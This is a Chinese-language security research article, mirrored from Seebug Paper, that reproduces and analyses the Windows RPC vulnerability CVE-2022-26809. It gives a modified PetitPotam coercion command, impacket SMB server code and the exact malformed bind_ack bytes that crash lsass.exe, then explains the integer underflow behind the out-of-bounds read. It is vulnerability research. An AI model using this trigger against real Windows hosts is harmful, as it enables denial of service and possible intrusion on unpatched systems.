8

CVE-2022-26809 RPC 高危漏洞复现与分析

 2 years ago
source link: https://paper.seebug.org/1906/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

作者:HuanGMz@知道创宇404实验室
时间:2022年5月20日

1. 漏洞介绍

2022年4月份修复的高危漏洞 CVE-2022-26809 距今已经过去一月有余,期间除了 L1nk 师傅发了一篇关于 GetCoalescedBuffer() 漏洞函数触发条件的分析,再无其他消息。我这边虽然分析出了 ProcessReceivedPDU() 漏洞函数的触发逻辑,但苦于无法在默认系统上触发,也没什么进展。

直到 5月18日,corelight 上发了一篇关于 CVE-2022-26809 的漏洞利用检测文章 ,同时给出了相关的github 仓库,仓库中附带了捕捉的 漏洞触发数据包。

文章中提到 CVE-2022-26809 位于OSF_CASSOCIATION::ProcessBindAckOrNak() 函数中,这是一个 客户端解析 bind_ack 响应的函数。我和 L1nk 师傅一开始都忽视了这个函数,因为我们觉得客户端的漏洞和 ”有希望成为蠕虫漏洞“ 的描述不符,不太可能是 CVE-2022-26809。但实际上 当我们调用目标主机的 EfsRpcDecryptFileSrv() efs rpc 函数时,该函数会根据我们传入的unc路径,向我们的恶意smb服务器 的 srvsvc 端点发起bind请求。这样 服务端 也就变成了 客户端,就会调用 ProcessBindAckOrNak() 处理我们的恶意smb服务器返回的 bind_ack 数据包。现在看还是对 smb 之类的知识了解的太少。

EfsRpcDecryptFileSrv() 是 lsass.exe 进程里的,位于c681d488-d850-11d0-8c52-00c04fd90f7e 接口的一个rpc函数,你可以通过 \pipe\lsass 端点访问它。

efs 相关的rpc函数在2021年曾出过 PetitPotam 域提权CVE-2021-43893 域控文件写 几个著名的漏洞。虽然 CVE-2022-26809 和 这几个漏洞原理不类似,但触发方式类似,我们完全可以复用 PetitPotam 的脚本,免去了自己写rpc 客户端的麻烦。

推荐阅读这篇文章 https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/,了解关于PetitPotam 的漏洞发展历史。

2. 漏洞复现

2.1 调用 EfsRpcDecryptFileSrv() 函数

使用 ly4k 的 PetitPotam 脚本进行调用,仓库链接:https://github.com/ly4k/PetitPotam

需要注意的是,由于 2021年12月份的 CVE-2021-43893 的补丁,我们要给脚本里加两行代码:

在 PetitPotam.Connect 函数要加两行代码 (加在 dce.connect() 前面就行):

dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)

这两行代码是为了满足新增的 EFSRPC 强化措施。

调用 PetitPotam 脚本:

python3 petitpotam.py -pipe lsarpc -method DecryptFileSrv  -debug 'mr.wang:[email protected]'  '\\192.168.33.154\srvsvc\test.txt'

192.168.33.159 是目标主机的地址, 192.168.33.154 则是我们的恶意 smb 服务器的地址。遗憾的是我必须使用账号和密码,尚不确定原始poc是如何解决smb认证的问题的。

此时如果用 Procmon 来监测 lsass.exe 进程,你会看到它尝试打开 \\192.168.33.154\pipe\srvsvc 端点。

2.2 搭建恶意 smb 服务器

直接使用 impacket 的 smbserver.py 里的 SimpleSMBServer 例子:

from impacket.smbserver import SimpleSMBServer

myserver = SimpleSMBServer(listenPort=445)
myserver.start()

推荐在linux里搭建。

我们需要控制对 rpc bind 请求的响应,所以直接修改 rpcrt.py 库文件。

找到 rpcrt.py 文件里的 DCERPCServer.bind() 函数,直接注释,然后改为下面,相当于每次返回固定的 bind_ack 数据包。

d = b'\x05\x00\x0c\x03\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x02\x10\xb8\x10\xb8\x00\x00\x12\x34\x00\x00'
print(d)
self._clientSock.send(d)

这一串数据也就是触发漏洞的关键 payload。

2.3 捕捉崩溃

打开目标主机防火墙的445端口。

关闭 smb2 协议:

Set-SmbServerConfiguration -EnableSMB2Protocol $false

开启 sbm1 协议:

Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol

这一步不是必须的,主要是方便我们 wireshark 捕捉观察rpc数据。

使用 gflags.exe 给 lsass.exe 进程开启页堆,然后重启系统。

选一种方式调试 lsass.exe,我使用内核调试,防止卡死。

然后开启恶意smb服务器,使用脚本调用 EfsRpcDecryptFileSrv() 函数。

然后就能捕捉到异常了。

如果正常,你会在 wireshark 里看到在调用 EfsRpcDecryptFileSrv()之后,有一串的 bind 和 bind_ack 数据包:

3. 漏洞分析

数据包有两个特点,frag_len 为 0x1a, ScnDry_Addr_len 为0,且数据包在这个字段截断,后面就没了。

BufferLength 即是数据包的长度 为0x1a,第一次 BufferLength - 0x1A ,结果为0,然后由于 sec_addr_length 为0,所以会进入 else 分支,0 - 0x1c 整数下溢。

后面 取 sec_addr_length地址 + 2 + 2 ,由于数据包到 sec_addr_length 结束,所以这个地址实际已经越界。

另外有一点需要注意:我们前面触发漏洞的 payload 使用的是大端字节序,但实际上使用小端字节序也能正常触发漏洞,所以和 Data Representation 字段是否为0应该没有关系。

最后,还没有解决调用 EfsRpcDecryptFileSrv() 时的smb认证问题。擅长漏洞利用的师傅可以试一试了。

http://showlinkroom.me/2022/04/30/Windows-CVE-2022-26809/

https://corelight.com/blog/another-day-another-dce-rpc-rce

https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/

https://github.com/ly4k/PetitPotam


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1906/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK